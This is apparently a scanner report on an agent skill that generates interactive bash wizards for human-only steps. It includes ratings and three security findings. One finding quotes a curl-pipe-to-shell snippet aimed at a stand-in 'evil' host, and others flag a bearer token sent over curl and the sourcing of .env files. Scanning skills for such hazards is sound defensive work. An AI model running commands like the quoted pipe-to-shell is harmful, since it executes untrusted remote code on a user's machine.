BC human-step-wizard
Generate an interactive, resumable bash wizard that walks a person through steps only a human can do. Use when a task needs dashboard credentials, DNS or change approval, key rotation, or a manual traffic cutover.
Generate an interactive, resumable bash wizard that walks a person through steps only a human can do.
As a process C 62/100 · Has gaps — weak spots: result and completion, inputs and preconditions
What is at stake
Medium-severity findings: the skill is probably honest, but read what alarmed the scanner.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
How to improve
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 3
✓ No critical or high findings
Medium and low: 3
-
medium Dangerous commands
cmd-pipe-to-shellreferences/bash-wizard-safety.md:53Downloads and executes remote code from an unrecognised host (pipe to shell) (quoted — discussed, not commanded)pasted `$(curl evil | sh)`; `declare "$name=$value"` has edge cases with
quoted -
low Exfiltration
net-credential-usereferences/human-step-design.md:86Credential used in a network call (verify the destination is the intended service) (documentation table row)| Token works | `curl -fsS -H "Authorization: Bearer $TOKEN" https://api.example/v1/whoami` |
table -
low Exfiltration
read-dotenvSKILL.md:218Reads a .env file (detector / deny-list definition; security demo / example)**Mistake:** Hand-editing the generated script to `source .env` or `eval` a captured value.
detectordemo
Files scanned: 8. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
✓ No remarks against the Agent Skills spec
Process rating: all ten parameters 62/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 50When it triggers. No condition that starts the skill
- 60Tools and files. Uses tools (bash, web, python) that frontmatter does not declare
- 100Steps. 32 steps
- 100Failures and branches. 1 branches, has a failure section
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 3311 tokens
- 100Running it twice. Mutating operations check current state
- 100Progress reporting. Reports progress
- low 11 top-level sections: this looks like several domains in one skill
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +3Output format is not stated: the model decides each time
- +2Single-language instructions
- +4Description says when NOT to use the skill
- +3Description length 213: enough signal without eating the budget
- +4Structure: 21 headings
- +3Step-by-step instructions: 32 items
- +4Has examples (5 code blocks)
- +4Reference files are cited in the instructions (2 of 2)
- +3All 2 scripts are documented
- +1License stated
Quality base 70; lint remarks subtract, signals add up to 100. Result: 96.